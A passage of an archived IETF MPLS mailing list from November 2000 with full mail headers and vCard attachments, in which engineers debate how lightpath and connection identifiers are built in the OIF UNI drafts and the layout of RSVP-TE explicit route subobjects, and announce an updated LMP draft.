     globally unique connection identifier will be created using a
     globally unique carrier identifier (identifying the carrier from
     which the connection request is sourced) and a carrier unique
     connection identifier.  This attribute is not modifiable (i.e.
     cannot be modified using the modify command).
 

By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt

3.2.4 Lightpath_ID Object

   The Lightpath_ID object is used to uniquely determine a lightpath
   within the optical network. Lightpath_ID object has the following
   format:
  - IPv4 source address: This is the address (32 bits) for the source
     UNI-C who originates the lightpath.
  - IPv4 destination address: This is the address (32 bits) for the
     destination UNI-C who terminates the lightpath.
  - Ligthpath number: This is the unique identifier (64 bits) in the
     network to be associated with the lightpath.
 

Questions are the following:

I think that carrier identifier means 'optical network identifier' not the
client network (so the UNI-Client address should not be the included
within the lightpath ID) ?

Secondly i do not understand why the ONE has to assign an IP address belonging
to the signaling plane. Imagine that the address space of the signaling plane
(i.e. control plane) changes then you have to change all the identifiers of
the lightpaths (or connections) which by definitions are included within the
transport plane. This solution does not guarantee the independancy between
the signaling and the transport plane. Do you agree ?

Imagine that you may use the UNI-C as identifier, then I do not understand why
you need to include the destination UNI-C IP address within the lightpath ID.
Moreover, how do you know the relationship between UNI-C and the destination
client address (or name) ?

Regards,

Dimitri.

--------------E74101B3A83F649F83584445-- --------------0C87867A638CDB4714C4F8E9 Content-Type: text/x-vcard; charset=us-ascii; name="Dimitri.Papadimitriou.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Papadimitriou Dimitri Content-Disposition: attachment; filename="Dimitri.Papadimitriou.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Dimitri;Papadimitriou Dimitri tel;home:+322-3434361 tel;work:+323-2408491 x-mozilla-html:FALSE org:Alcatel;Corporate Research Center adr:;;Francis Wellesplein, 1;Antwerpen;Antwerpen;B-2018;Belgium version:2.1 email;internet:Dimitri.Papadimitriou@alcatel.be title:Telecom R&D Engineer fn:Papadimitriou Dimitri end:vcard --------------0C87867A638CDB4714C4F8E9-- From owner-mpls@UU.NET Thu Nov 30 19:55:41 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA00646 for ; Thu, 30 Nov 2000 19:55:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpr26927; Fri, 1 Dec 2000 00:54:11 GMT Received: by mail-control.mail.uu.net id QQjrpr17053 for mpls-outgoing; Fri, 1 Dec 2000 00:53:40 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrpr17041 for ; Fri, 1 Dec 2000 00:53:28 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrpr17701 for ; Fri, 1 Dec 2000 00:51:51 GMT Received: from relay2.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alc239.alcatel.be [195.207.101.239]) id QQjrpr21764 for ; Fri, 1 Dec 2000 00:51:50 GMT Received: from bemail05.net.alcatel.be (localhost [127.0.0.1]) by relay2.alcatel.be (8.10.1/8.10.1) with SMTP id eB10n1m26438; Fri, 1 Dec 2000 01:49:01 +0100 (MET) Received: from alcatel.be ([138.203.253.211]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id C12569A8.0004B5C8; Fri, 1 Dec 2000 01:51:27 +0100 Message-ID: <3A26F619.E2E03A45@alcatel.be> Date: Fri, 01 Dec 2000 01:51:37 +0100 From: Papadimitriou Dimitri X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Fong Liaw CC: mpls Subject: Re: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt References: <4611AD058694D4118FD5009027B0A6622B8916@ICARIAN> Content-Type: multipart/mixed; boundary="------------43D088D7EA71E20FF9899279" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------43D088D7EA71E20FF9899279 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, If refer to the new version of this draft: draft-many-carrier-framework-uni-01.txt (Thanks Yangguang to make the remark.) Concerning the lightpath Identifier: The lightpath ID is identified as: A network-wide unique 64-bit identifier for a lightpath. This identifier is assigned by the optical network (dixit) And in fact most of the parameter definitions map the carrier requirement draft which is the following: carrier-ID - identifier whose draft is 'the guideline' for the definition of the parameters at the OIF as far as i now (or it has change from the last OIF meeting in MAUI until now) Moreover, there is no relationship between the source and destination address (of the client address space) and the lightpath identifiers. The UNI-C and UNI-N IP addresses are dedicated to IP signaling between the client and the network not to identify the lightpaths nor the source and destination address of the lightpath create requests. Source and destination included within the create request are defined as (dixit 6.3.1) 3. Source/destination client point of attachment: This has two components, an optical-network-administered IP address and an optional logical port information. The latter consists of a port index, a channel index and a sub-channel index. You wrote: >How do you know the destination client's address, just like telephonenumbers, you get it from >other source.-Fong The question related to destination UNI-C, is that the source ONE does not know the destination UNI-C address (simply it does not have to know this address). The lightpath create request is sent from the source to the destination IP address of the source and destination ONE. The question is not how the source client address knows the destination client address (transport plane) it is related to the knowledge of the destination UNI-C client by the source UNI-C address (signaling plane) ? I don't know where you find this requirement ? From what it is currently proposed ONA-IP addresses are defined to virtualize 'client address space' at the UNI. Even in case of unnumbered client end-point, the address you should not assign the UNI-C of the client as a potential identifier (since belonging to the signaling plane - this is currently under study); however the address resolution request (for the destination) will give the corresponding address within the optical network which is the ONA-IP corresponding to this client end-point, so your request won't contain the UNI-C destination address of the CNE. Dimitri. Fong Liaw wrote: > Dimitri Regarding the address format. There is an agreed > requirementto do "address resolution" for exactly the reason you > mentioned.If the network's native address format is not IP, then it > may makesense to use another format in Session object. This can be > easily extended, but they will still be assigned by user, not the > network. John is in the process of writing this up which would include > proceduresand object format. Note that the UNI optical nodes still > needto have an IP address since all the control messages using IP.How > do you know the destination client's address, just like > telephonenumbers, you get it from other source.-Fong > > -----Original Message----- > From: Papadimitriou Dimitri > [mailto:Dimitri.Papadimitriou@alcatel.be] > Sent: Thursday, November 30, 2000 1:06 PM > To: FLiaw@zaffire.com; mpls > Subject: Questions concerning: > draft-yu-mpls-rsvp-oif-uni-00.txt > > Hello, > > I have some questions concerning the draft: > draft-yu-mpls-rsvp-oif-uni-00.txt > > The official name for ligthpath ID is now "Connection_ID", > So > By refering to the draft: > draft-many-carrier-framework-uni-00.txt > > 3.3.1 Identification Attributes > > [...] > > - connection identifier: a globally unique identifier for > the > connection. This identifier will be assigned by the > network. The > globally unique connection identifier will be created > using a > globally unique carrier identifier (identifying the > carrier from > which the connection request is sourced) and a carrier > unique > connection identifier. This attribute is not > modifiable (i.e. > cannot be modified using the modify command). > > > By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt > > 3.2.4 Lightpath_ID Object > > The Lightpath_ID object is used to uniquely determine a > lightpath > within the optical network. Lightpath_ID object has the > following > format: > - IPv4 source address: This is the address (32 bits) for > the source > UNI-C who originates the lightpath. > - IPv4 destination address: This is the address (32 bits) > for the > destination UNI-C who terminates the lightpath. > - Ligthpath number: This is the unique identifier (64 > bits) in the > network to be associated with the lightpath. > > > Questions are the following: > > I think that carrier identifier means 'optical network > identifier' not the > client network (so the UNI-Client address should not be the > included > within the lightpath ID) ? > > Secondly i do not understand why the ONE has to assign an IP > address belonging > to the signaling plane. Imagine that the address space of > the signaling plane > (i.e. control plane) changes then you have to change all the > identifiers of > the lightpaths (or connections) which by definitions are > included within the > transport plane. This solution does not guarantee the > independancy between > the signaling and the transport plane. Do you agree ? > > Imagine that you may use the UNI-C as identifier, then I do > not understand why > you need to include the destination UNI-C IP address within > the lightpath ID. > Moreover, how do you know the relationship between UNI-C and > the destination > client address (or name) ? > > Regards, > > Dimitri. > --------------43D088D7EA71E20FF9899279 Content-Type: text/x-vcard; charset=us-ascii; name="Dimitri.Papadimitriou.vcf" Content-Description: Card for Papadimitriou Dimitri Content-Disposition: attachment; filename="Dimitri.Papadimitriou.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Dimitri;Papadimitriou Dimitri tel;home:+322-3434361 tel;work:+323-2408491 x-mozilla-html:FALSE org:Alcatel;Corporate Research Center adr:;;Francis Wellesplein, 1;Antwerpen;Antwerpen;B-2018;Belgium version:2.1 email;internet:Dimitri.Papadimitriou@alcatel.be title:Telecom R&D Engineer fn:Papadimitriou Dimitri end:vcard --------------43D088D7EA71E20FF9899279-- From owner-mpls@UU.NET Thu Nov 30 20:11:34 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06038 for ; Thu, 30 Nov 2000 20:11:34 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpr09502; Fri, 1 Dec 2000 00:57:44 GMT Received: by mail-control.mail.uu.net id QQjrpr17362 for mpls-outgoing; Fri, 1 Dec 2000 00:57:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpr17357 for ; Fri, 1 Dec 2000 00:57:18 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrpr07243 for ; Fri, 1 Dec 2000 00:57:04 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrpr00735 for ; Fri, 1 Dec 2000 00:57:03 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id TAA13266 for mpls@uu.net; Thu, 30 Nov 2000 19:57:03 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrpr17327 for ; Fri, 1 Dec 2000 00:56:43 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrpr28873 for ; Fri, 1 Dec 2000 00:55:31 GMT Received: from che-cse-115.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: che-cse-115.cisco.com [161.44.128.23]) id QQjrpr06555 for ; Fri, 1 Dec 2000 00:55:31 GMT Received: (from eosborne@localhost) by che-cse-115.cisco.com (8.8.5/CA/950118) id TAA23060; Thu, 30 Nov 2000 19:55:17 -0500 (EST) Date: Thu, 30 Nov 2000 19:55:17 -0500 From: Eric Osborne To: Guangzhi Li Cc: Gaitonde Anandprasanna , Eric Gray , mpls@UU.NET Subject: Re: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE Message-ID: <20001130195517.A23054@che-cse-115.cisco.com> References: <3A26C0D4.589ECAC6@research.att.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3A26C0D4.589ECAC6@research.att.com>; from gli@research.att.com on Thu, Nov 30, 2000 at 04:04:20PM -0500 X-GPG-Fingerprint: 6412 0836 E440 B3EA 980C 4951 611E 1819 2E71 8562 Sender: owner-mpls@UU.NET Precedence: bulk I can't speak from an implementation standpoint, but I see little reason to change this. It may make things a little easier to code, but then you have to figure out how to be interoperable with all the existing implementations that are deployed already. It seems to me that you'd have to find some way to be backward-compatabile, as well as deal with all the implementations that would behave poorly (possibly crash, etc) because they misinterpreted the new ERO format. Again, I'm not one to make a decision one way or the other about whether this gets done or not, but if I ran the world I'd have to come out against this idea. eric On Thu, Nov 30, 2000 at 04:04:20PM -0500, Guangzhi Li wrote: > Hi, all: > > I asked this question several times. Only Eric Gray gave one reason. > > Thanks for the suggestion. Lots of implementations are going on. Can we change it > now? Our future life will be much easier. > > Putting IPv4 and IPv6 at the end will make implementation easy and few bugoses. > > How many people will support this ?? Thanks. > > -- Guangzhi > > Gaitonde Anandprasanna wrote: > > > Thanks for replying. > > > > But i think if we have the IPV4 prefix at the end then it is much > > easier for implementation. > > > > So cant we change it now??? > > > > Pras > > > > On Thu, 30 Nov 2000, Eric Gray wrote: > > > > > As I recall, the reason for this was that there was > > > an existing implementation that did it this way. In > > > some models of the Universe, no further justification > > > is required. :-) > > > > > > -- > > > Eric Gray > > > > > > Gaitonde Anandprasanna wrote: > > > > > > > I am sorry to repost this question but i am reallly interested in knowing > > > > this . > > > > > > > > If the question i asked is correct then also let me know if in subsequent > > > > drafts we can change the format of ERO subobject (i.e. putting the IPv4 > > > > address at the end of the object.) > > > > > > > > Here is my previous mail :- > > > > > > > > This question was asked by some person earlier but somehow i did not see > > > > the answers in the mailing lists. If i have missed the answer then please > > > > provide pointers to mail archives. > > > > > > > > I wanted to know why the format of the IPv4 Prefix is that way: > > > > > > > > RSVP ERO subobject IPv4 address:- > > > > > > > > In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is > > > > > > > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > > > > Type | Length | IPv4 address > > > > ----------------------------------------------------------------- > > > > IPv4 address | Prefix Length | Flags > > > > ------------------------------------------------------------------ > > > > > > > > Can somebody explain to me: What is the advantage to split the IPv4 > > > > address in two words? From the > > > > implementation point of view, it should be much easy to put IPv4 address > > > > in a single word. > > > > > > > > Thanx in advance > > > > > > > > Pras From owner-mpls@UU.NET Thu Nov 30 20:33:37 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA15224 for ; Thu, 30 Nov 2000 20:33:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpu25670; Fri, 1 Dec 2000 01:32:51 GMT Received: by mail-control.mail.uu.net id QQjrpu02009 for mpls-outgoing; Fri, 1 Dec 2000 01:32:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpu01993 for ; Fri, 1 Dec 2000 01:32:01 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrpu16793 for ; Fri, 1 Dec 2000 01:30:24 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrpu11280 for ; Fri, 1 Dec 2000 01:30:23 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id UAA15916 for mpls@uu.net; Thu, 30 Nov 2000 20:30:23 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpt01668 for ; Fri, 1 Dec 2000 01:29:48 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrpt12408 for ; Fri, 1 Dec 2000 01:28:57 GMT Received: from yarilo.pluris.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pluris.com [208.227.9.12]) id QQjrpt12415 for ; Fri, 1 Dec 2000 01:28:56 GMT Received: from pluris.com (volsung.pluris.com [172.16.50.19]) by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id RAA00155; Thu, 30 Nov 2000 17:28:54 -0800 (PST) Message-ID: <3A26FED6.627F1884@pluris.com> Date: Thu, 30 Nov 2000 17:28:54 -0800 From: Bora Akyol X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: George Swallow CC: "Dawkins, Spencer" , mpls@UU.NET Subject: Re: New MPLS charter References: <200011301715.MAA14711@lir.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit So is there a charter for the new COMA working group, or a mailing list. Bora George Swallow wrote: > Spencer - > > The way I read that (and I would like to be wrong on this, but doubt > that I am) is we can define new ways of carrying labels where new > kinds of link layers may emerge out of the Optical work. Also I don't > really anticipate any need in that area, since we already have an > encapsulation over PPP and PPP is likely to be defined over any thing > that emerges out of the optical work. > > ...George > > ================================================================== > George Swallow Cisco Systems (978) 244-8143 > 250 Apollo Drive > Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 20:51:19 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA21698 for ; Thu, 30 Nov 2000 20:51:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpv18594; Fri, 1 Dec 2000 01:50:08 GMT Received: by mail-control.mail.uu.net id QQjrpv03404 for mpls-outgoing; Fri, 1 Dec 2000 01:49:37 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpv03394 for ; Fri, 1 Dec 2000 01:49:29 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrpv12877 for ; Fri, 1 Dec 2000 01:48:37 GMT Received: from lux.chromisys.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: 193.140.adsl6.netlojix.net [207.71.200.140] (may be forged)) id QQjrpv08158 for ; Fri, 1 Dec 2000 01:48:37 GMT Received: by lux.chromisys.com with Internet Mail Service (5.5.2653.19) id ; Thu, 30 Nov 2000 17:48:37 -0800 Message-ID: <51DA0AB3D747D311832F005004827CC02CF0E2@lux.chromisys.com> From: Jonathan Lang To: "'mpls@uu.net'" Subject: draft-ietf-mpls-lmp-01.txt Date: Thu, 30 Nov 2000 17:48:36 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk All, The LMP draft was updated and submitted. It should be announced shortly. In the meantime, it can be found at http://www.employees.org/~azinin/draft-ietf-mpls-lmp-01.txt. The following changes were made to the current LMP draft: *Clarified the terminology and included some additional text and figure showing the relationship between control channels and data-bearing links. *Updated a number of message formats. *Generalized the configuration procedure to incorporate other parameters. This included defining a new TLV-based Config message and moving the HelloConfig messages into Config TLVs. *Separated out the functionality into a base core set (Control channel management & Link property correlation procedure) and an extended set of *negotiable* procedures (Test & Fault isolation procedure). The optional procedures are negotiated as part of the generalized Config message exchange. *Updated the link finite state machine (FSM) - now separated into an FSM for the control channel and an FSM for the data-bearing links. *Introduced a new finite state machine (FSM) for link bundles. From owner-mpls@UU.NET Thu Nov 30 21:59:57 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA17283 for ; Thu, 30 Nov 2000 21:59:57 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpz08473; Fri, 1 Dec 2000 02:58:53 GMT Received: by mail-control.mail.uu.net id QQjrpz21010 for mpls-outgoing; Fri, 1 Dec 2000 02:58:36 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpz21004 for ; Fri, 1 Dec 2000 02:58:32 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrpz17140 for ; Fri, 1 Dec 2000 02:58:21 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrpz17015 for ; Fri, 1 Dec 2000 02:58:20 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id VAA21566 for mpls@uu.net; Thu, 30 Nov 2000 21:58:19 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrpz20971 for ; Fri, 1 Dec 2000 02:57:40 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrpz13138 for ; Fri, 1 Dec 2000 02:57:11 GMT Received: from ns01.newbridge.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ns01.newbridge.com [192.75.23.67]) id QQjrpz15507 for ; Fri, 1 Dec 2000 02:57:11 GMT Received: (from smtpd@localhost) by ns01.newbridge.com (8.9.2/8.9.2) id VAA29562 for ; Thu, 30 Nov 2000 21:48:51 -0500 (EST) Received: from portal1.newbridge.com(192.75.23.76), claiming to be "kanata-mh1.ca.newbridge.com" via SMTP by ns01.newbridge.com, id smtpdAAA06t4B1; Thu Nov 30 21:48:46 2000 Received: from hkmail01.ap.newbridge.com by kanata-mh1.ca.newbridge.com with ESMTP for mpls@uu.net; Thu, 30 Nov 2000 21:54:47 -0500 Received: from alcatel.com ([138.120.193.4]) by hkmail01.ap.newbridge.com (Netscape Messaging Server 3.6) with ESMTP id AAA5F66 for ; Fri, 1 Dec 2000 10:54:45 +0800 Message-Id: <3A270CE5.CC03F7B@alcatel.com> Date: Fri, 01 Dec 2000 10:28:54 +0800 From: "ABDUL RAZAQUE" Reply-To: abdul.razaque@alcatel.com X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: (no subject) Content-Type: multipart/mixed; boundary="------------194A47F0594A877B36D039E7" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------194A47F0594A877B36D039E7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit unsubscribe mpls armemon@newbridge.com --------------194A47F0594A877B36D039E7 Content-Type: text/x-vcard; charset=us-ascii; name="abdul.razaque.vcf" Content-Description: Card for Abdul Razaque Memon Content-Disposition: attachment; filename="abdul.razaque.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:RAZAQUE;MEMON ABDUL tel;fax:+852-28072570 tel;work:+852-21048335 x-mozilla-html:FALSE url:http://www.cid.alcatel.com org:Learning services APR;Alcatel Carrier Internetworking Division adr:;;;HONG KONG;;; version:2.1 email;internet:abdul.razaque@alcatel.com title:Manager Customer Learning x-mozilla-cpt:;-24784 fn:ABDUL RAZAQUE end:vcard --------------194A47F0594A877B36D039E7-- From owner-mpls@UU.NET Thu Nov 30 23:13:33 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA15087 for ; Thu, 30 Nov 2000 23:13:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpx24764; Fri, 1 Dec 2000 02:27:39 GMT Received: by mail-control.mail.uu.net id QQjrpx18156 for mpls-outgoing; Fri, 1 Dec 2000 02:27:21 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrpx18145 for ; Fri, 1 Dec 2000 02:27:11 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrpx08601 for ; Fri, 1 Dec 2000 02:26:35 GMT Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: netscreen10.zaffire.com [64.232.69.132]) id QQjrpx06040 for ; Fri, 1 Dec 2000 02:26:34 GMT Received: by ICARIAN with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 18:27:23 -0800 Message-ID: <4611AD058694D4118FD5009027B0A6622B891C@ICARIAN> From: Fong Liaw To: "'Papadimitriou Dimitri'" , Fong Liaw Cc: mpls , John Yu Subject: RE: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt Date: Thu, 30 Nov 2000 18:27:22 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hello > -----Original Message----- > From: Papadimitriou Dimitri [mailto:Dimitri.Papadimitriou@alcatel.be] > Sent: Thursday, November 30, 2000 4:52 PM > To: Fong Liaw > Cc: mpls > Subject: Re: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt > > > Hi, > > If refer to the new version of this draft: > draft-many-carrier-framework-uni-01.txt > (Thanks Yangguang to make the remark.) > > Concerning the lightpath Identifier: > > The lightpath ID is identified as: A network-wide unique 64-bit > identifier for a > lightpath. This identifier is assigned by the optical network (dixit) > > And in fact most of the parameter definitions map the carrier > requirement > draft which is the following: carrier-ID - identifier whose draft is > 'the guideline' > for the definition of the parameters at the OIF as far as i > now (or it > has change > from the last OIF meeting in MAUI until now) It is already coded as 64 bits in draft-yu. Look for "Connection_ID". > > Moreover, there is no relationship between the source and destination > address (of the client address space) and the lightpath identifiers. > Yes. > The UNI-C and UNI-N IP addresses are dedicated to IP > signaling between > the client and the network not to identify the lightpaths > nor the source > and > destination address of the lightpath create requests. > But not precluded. I.e. IP can be one of the format that the network would take, and if so the UNI-C's IP address can be used to construct a globally unique identifier. The spec allows it, there is no mandate that the operator has to deploy it this way. I would rather we not get into peer or overlay model discussion if this is where it is leading to :-( > Source and destination included within the create request > are defined as > (dixit 6.3.1) > 3. Source/destination client point of attachment: This has two > components, an optical-network-administered IP address and an > optional logical port information. The latter consists of a port > index, a channel index and a sub-channel index. > This is already been covered in draft-yu which is based on GMPLS. > You wrote: > >How do you know the destination client's address, just like > telephonenumbers, you get it from > >other source.-Fong > > The question related to destination UNI-C, is that the > source ONE does > not know the destination > UNI-C address (simply it does not have to know this address). The > lightpath create request is sent > from the source to the destination IP address of the source and > destination ONE. > > The question is not how the source client address knows the > destination > client address (transport > plane) it is related to the knowledge of the destination > UNI-C client by > the source UNI-C address > (signaling plane) ? I don't know where you find this > requirement ? From > what it is currently proposed > ONA-IP addresses are defined to virtualize 'client address > space' at the > UNI. Allow me to paraphrase what you said in different way: Two things here - one is the IP address where the control messages are sent to (the signaling plan)at UNI, and the other is where the connection should be connect to (the transport plan). The former is in IP header and the latter is in Session Object. We can allow Session object to use different address format, and the address in IP header can be the adjacent UNI node (instead of destination UNI-C's IP address). This is what John is trying to propose and incorporate into oif2000.125, not an OIF approved mechanism. I hope this address your question. > > Even in case of unnumbered client end-point, the address you > should not > assign the UNI-C of the client > as a potential identifier (since belonging to the signaling > plane - this > is currently under study); however > the address resolution request (for the destination) will give the > corresponding address within the optical > network which is the ONA-IP corresponding to this client > end-point, so > your request won't contain the UNI-C > destination address of the CNE. > The spec. allows different format, such as IPv4, IPv6, MAC, I don't see why it can't be UNI-C's address if the network is native IP. By the end of the day, it is up to network operators to decide what address format they want to use and deploy an address resolution server (ATMARP, NHRP, DNS) if necessary. Regards, -Fong > Dimitri. > > > Fong Liaw wrote: > > > Dimitri Regarding the address format. There is an agreed > > requirementto do "address resolution" for exactly the reason you > > mentioned.If the network's native address format is not IP, then it > > may makesense to use another format in Session object. This can be > > easily extended, but they will still be assigned by user, not the > > network. John is in the process of writing this up which > would include > > proceduresand object format. Note that the UNI optical nodes still > > needto have an IP address since all the control messages > using IP.How > > do you know the destination client's address, just like > > telephonenumbers, you get it from other source.-Fong > > > > -----Original Message----- > > From: Papadimitriou Dimitri > > [mailto:Dimitri.Papadimitriou@alcatel.be] > > Sent: Thursday, November 30, 2000 1:06 PM > > To: FLiaw@zaffire.com; mpls > > Subject: Questions concerning: > > draft-yu-mpls-rsvp-oif-uni-00.txt > > > > Hello, > > > > I have some questions concerning the draft: > > draft-yu-mpls-rsvp-oif-uni-00.txt > > > > The official name for ligthpath ID is now "Connection_ID", > > So > > By refering to the draft: > > draft-many-carrier-framework-uni-00.txt > > > > 3.3.1 Identification Attributes > > > > [...] > > > > - connection identifier: a globally unique identifier for > > the > > connection. This identifier will be assigned by the > > network. The > > globally unique connection identifier will be created > > using a > > globally unique carrier identifier (identifying the > > carrier from > > which the connection request is sourced) and a carrier > > unique > > connection identifier. This attribute is not > > modifiable (i.e. > > cannot be modified using the modify command). > > > > > > By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt > > > > 3.2.4 Lightpath_ID Object > > > > The Lightpath_ID object is used to uniquely determine a > > lightpath > > 